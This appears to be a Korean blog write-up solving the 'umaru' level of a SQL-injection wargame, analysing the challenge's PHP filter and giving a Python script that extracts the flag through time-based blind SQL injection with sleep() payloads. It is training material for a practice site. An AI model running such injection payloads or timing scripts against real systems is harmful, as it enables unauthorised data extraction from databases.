대망의 마지막 문제.
umaru 이다.
소스를 분석하자면 reset_flag함수는 md5로 암호시킨 값의 8번째 자리부터 16개를 뽑아서 new_flag로 만들어 주고
그 값을 los_id와 함께 prob_umaru 테이블로 만들어 준다.
그리고 본문으로 들어와서
우리는 get방식으로 flag변수를 받는다.
그리고 이 변수는 preg_match로 필터링 해줄 것이고
100글자를 넘어서도 안된다.
그리고 우리가 flag로 넣어주는 값과 reset_flag로 만들어준 new_flag값이 같으면
풀리고 아니면 다시 reset_flag함수로 값을 바꿔버린다.
즉 우리는 새로운 값으로 만들어 주지않게 하면서 답을 알아내어야 하는 것이다.
우리는 flag값을 알아내어야 함으로 blind sql injection을 해야하지만
error를 통해 얻어지는 페이지나 반응이 없기 때문에
우리는 time-based sql injection을 사용해야 할 것이다.
처음에 16자리 라는 것은 쉽게 알 수 있다.
하지만 쿼리문을 만들기 상당히 힘든 것을 알 수 있다.
우선 우리는 error를 내어서 reset시키지 않아야 하고
반응을 이끌어 내어야 하기 때문에
sleep함수를 사용해야 한다.
import urllib.request
import time
if __name__ == "__main__":
answer = ''
time2=3
code = [num for num in range(48,58)]+[num for num in range(97,103)]
head = {'Cookie':'PHPSESSID= 각자의 쿠키값','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}
for i in range(1,17):
for j in code:
start = time.time()
req = urllib.request.Request("http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=(select 1 union select sleep(3*(flag like %27"+answer+str(chr(j))+"%%27)))",headers=head)
data = urllib.request.urlopen(req).read()
end = time.time()
time1 = end-start
print(str(chr(j)),time1)
if time1 > time2:
print(i,chr(j))
answer += str(chr(j))
print(answer)
break;
이렇게 짜면 sleep시간이 참일 때에만 3초간의 delay가 발생한다.
이 시간을 이용해서 참 값을 알아낼 수 있다.
드디어 대망의 올 클리어!!!